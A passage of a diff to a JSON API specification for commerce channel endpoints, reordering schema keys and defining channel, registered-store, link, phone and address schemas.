semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -5144,147 +5581,112 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ - "name" - ] - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "ONLINE": "./OnlineChannel.yaml", - "RETAIL": "./RetailChannel.yaml", - "MOBILE": "./MobileChannel.yaml", - "MARKETPLACE": "./MarketplaceChannel.yaml", - "SOCIAL": "./SocialChannel.yaml", - "DEFAULT": "./BasicChannel.yaml" - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "properties": { - "type": { - "type": "string", - "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')" - } + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" }, - "required": [ - "type" - ] - }, - "type": "array" - }, - "totalItems": { - "description": "Total number of Channels matching the search criteria. Returned only when totalRequired is set to true.", - "type": "integer" - }, - "totalPages": { - "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", - "type": "integer" - }, - "links": { - "description": "Array of HATEOAS link relations that should be used to navigate across pages of Channels", - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, - "required": [ - "rel", - "href" - ] - } + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" } - } + ], + "properties": { + "type": { + "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Channel", + "type": "object" } } }, "scopes": [ - "commerce.channel:read" + "commerce.channel:create" ] }, { - "operationId": "patchChannel", - "method": "PATCH", + "operationId": "getChannelById", + "method": "GET", "path": "/channels/{channelId}", - "summary": "Update channel", - "description": "Update the channel information using the channel ID.", + "summary": "Get channel by ID", + "description": "Retrieve the information of a single channel using the Channel ID.", "parameters": [ { "name": "channelId", @@ -5293,246 +5695,175 @@ "schema": { "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", "description": "unique identifier", - "type": "string", - "format": "uuid", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } } ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "items": { - "$id": "https://godaddy.com/schemas/json-patch.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "JsonPatch", - "type": "array", - "definitions": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - } - }, - "items": { - "oneOf": [ - { - "additionalProperties": false, - "required": [ - "value", - "op", - "path" - ], - "properties": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - }, - "op": { - "description": "The operation to perform.", - "type": "string", - "enum": [ - "add", - "replace", - "test" - ] - }, - "value": { - "description": "The value to add, replace or test." - } - } - }, - { - "additionalProperties": false, - "required": [ - "op", - "path" - ], - "properties": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - }, - "op": { - "description": "The operation to perform.", - "type": "string", - "enum": [ - "remove" - ] - } - } - }, - { - "additionalProperties": false, - "required": [ - "from", - "op", - "path" - ], - "properties": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - }, - "op": { - "description": "The operation to perform.", - "type": "string", - "enum": [ - "move", - "copy" - ] - }, - "from": { - "description": "A JSON Pointer path.", - "type": "string" - } - } - } - ] - } - }, - "type": "array" - } - }, "responses": { "200": { - "description": "Channel updated", + "description": "Channel Found", "schema": { "$id": "https://godaddy.com/schemas/commerce/channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "type": "object", "description": "Resource representing the Channel", + "discriminator": { + "mapping": { + "DEFAULT": "./BasicChannel.yaml", + "MARKETPLACE": "./MarketplaceChannel.yaml", + "MOBILE": "./MobileChannel.yaml", + "ONLINE": "./OnlineChannel.yaml", + "RETAIL": "./RetailChannel.yaml", + "SOCIAL": "./SocialChannel.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Channel", - "type": "object", - "description": "Resource representing a Retail Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "maxLength": 64, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -5540,491 +5871,447 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } ], + "description": "Resource representing a Retail Channel", "properties": { "location": { - "description": "Location details of the retail channel", - "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Location", - "type": "object", "$defs": { "RetailLocationContact": { - "type": "object", - "title": "Retail Location Contact", "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, "phone": { - "description": "Phone number details", "$id": "https://godaddy.com/schema/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schema/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" } - } + }, + "title": "Retail Location Contact", + "type": "object" } }, + "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Retail Location", "properties": { - "alias": { - "type": "string", - "maxLength": 128, - "description": "Alias for the location" - }, "address": { - "description": "Physical address of the retail location", "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": 